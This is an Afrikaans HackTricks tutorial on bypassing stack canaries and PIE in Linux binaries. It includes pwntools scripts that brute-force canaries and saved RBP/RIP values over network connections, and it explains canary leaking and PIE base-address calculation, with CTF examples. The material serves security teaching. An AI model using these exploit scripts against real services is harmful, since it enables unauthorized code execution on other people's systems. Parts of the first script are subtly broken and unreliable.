hacktricks/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md
2024-02-11 02:07:06 +00:00

9.2 KiB

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

As jy te doen het met 'n binêre lêer wat beskerm word deur 'n kanarie en PIE (Position Independent Executable), moet jy waarskynlik 'n manier vind om dit te omseil.

{% hint style="info" %} Let daarop dat checksec dalk nie kan vind dat 'n binêre lêer beskerm word deur 'n kanarie as dit staties gekompileer is en nie in staat is om die funksie te identifiseer nie.
Jy kan egter handmatig hiervan bewus raak as jy vind dat 'n waarde aan die begin van 'n funksieoproep in die stapel gestoor word en hierdie waarde voor die uittrede nagegaan word. {% endhint %}

Brute force Canary

Die beste manier om 'n eenvoudige kanarie te omseil, is as die binêre lêer 'n program is wat kindprosesse vorm elke keer as jy 'n nuwe verbinding daarmee vestig (netwerkdienste), omdat elke keer as jy daarmee verbind, dezelfde kanarie gebruik sal word.

Dan is die beste manier om die kanarie te omseil, om dit net karakter vir karakter te brute force, en jy kan uitvind of die gerade kanariebyte korrek was deur te kyk of die program afgekraak het of sy normale vloei voortgaan. In hierdie voorbeeld brute force die funksie 'n 8 byte kanarie (x64) en onderskei tussen 'n korrek gerade byte en 'n slegte byte deur net te kyk of 'n reaksie deur die bediener teruggestuur word (in 'n ander situasie kan 'n try/except gebruik word):

Voorbeeld 1

Hierdie voorbeeld is geïmplementeer vir 64-bits, maar kan maklik geïmplementeer word vir 32-bits.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Voorbeeld 2

Dit is geïmplementeer vir 32-bits, maar dit kan maklik verander word na 64-bits.
Merk ook op dat vir hierdie voorbeeld die program verwag eers 'n byte om die grootte van die inset aan te dui en die payload.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Druk Kanarie

'n Ander manier om die kanarie te omseil is om dit te druk.
Stel jou 'n situasie voor waar 'n program vatbaar vir stapoorvloei 'n puts-funksie kan uitvoer wat na 'n deel van die stapoorvloei wys. Die aanvaller weet dat die eerste byte van die kanarie 'n nulbyte (\x00) is en die res van die kanarie willekeurige bytes is. Dan kan die aanvaller 'n oorvloei skep wat die stapoorvloei oorskryf totdat net die eerste byte van die kanarie oorbly.
Dan roep die aanvaller die puts-funksionaliteit aan op die middel van die nutlading wat al die kanarie sal druk (behalwe die eerste nulbyte).
Met hierdie inligting kan die aanvaller 'n nuwe aanval skep en stuur, met kennis van die kanarie (in dieselfde programsessie).

Dit is duidelik dat hierdie taktiek baie beperk is, aangesien die aanvaller in staat moet wees om die inhoud van sy nutlading te druk om die kanarie uit te voer en dan 'n nuwe nutlading (in dieselfde programsessie) te skep en te stuur om die werklike stapoorvloei te veroorsaak.
CTF-voorbeeld: https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html

PIE

Om die PIE te omseil, moet jy 'n adres uitlek. En as die binêre lêer nie enige adresse uitlek nie, is die beste om dit te doen om die RBP en RIP wat in die stapel gestoor is, deur middel van bruto-krag in die vatbare funksie te raai.
Byvoorbeeld, as 'n binêre lêer beskerm word deur beide 'n kanarie en PIE, kan jy begin om die kanarie bruto-krag te gebruik, dan sal die volgende 8 byte (x64) die gestoorde RBP wees en die volgende 8 byte sal die gestoorde RIP wees.

Om die RBP en die RIP van die binêre lêer bruto-krag te gebruik, kan jy uitvind dat 'n geldige geradeerde byte korrek is as die program iets uitvoer of net nie afkraak nie. Dieselfde funksie as die een wat voorsien is vir die bruto-krag van die kanarie, kan gebruik word om die RBP en die RIP bruto-krag te gebruik:

print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Kry basisadres

Die laaste ding wat jy nodig het om die PIE te oorwin, is om nuttige adresse van die uitgelekde adresse te bereken: die RBP en die RIP.

Vanaf die RBP kan jy bereken waar jy jou skulp in die stapel skryf. Dit kan baie nuttig wees om te weet waar jy die string "/bin/sh\x00" binne die stapel gaan skryf. Om die afstand tussen die uitgelekde RBP en jou skulpkode te bereken, kan jy net 'n breekpunt plaas nadat die RBP uitgelek is en kyk waar jou skulpkode geleë is. Dan kan jy die afstand tussen die skulpkode en die RBP bereken:

INI_SHELLCODE = RBP - 1152

Vanaf die RIP kan jy die basisadres van die PIE-binêre lêer bereken, wat jy nodig gaan hê om 'n geldige ROP-ketting te skep.
Om die basisadres te bereken, voer eenvoudig objdump -d vunbinary uit en kyk na die ontleedde jongste adresse:

In daardie voorbeeld kan jy sien dat slegs 1 byte en 'n half nodig is om al die kode te lokaliseer, dus sal die basisadres in hierdie situasie die uitgelekke RIP wees, maar eindig op "000". Byvoorbeeld, as jy 0x562002970ecf uitgelek het, is die basisadres 0x562002970000.

elf.address = RIP - (RIP & 0xfff)
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: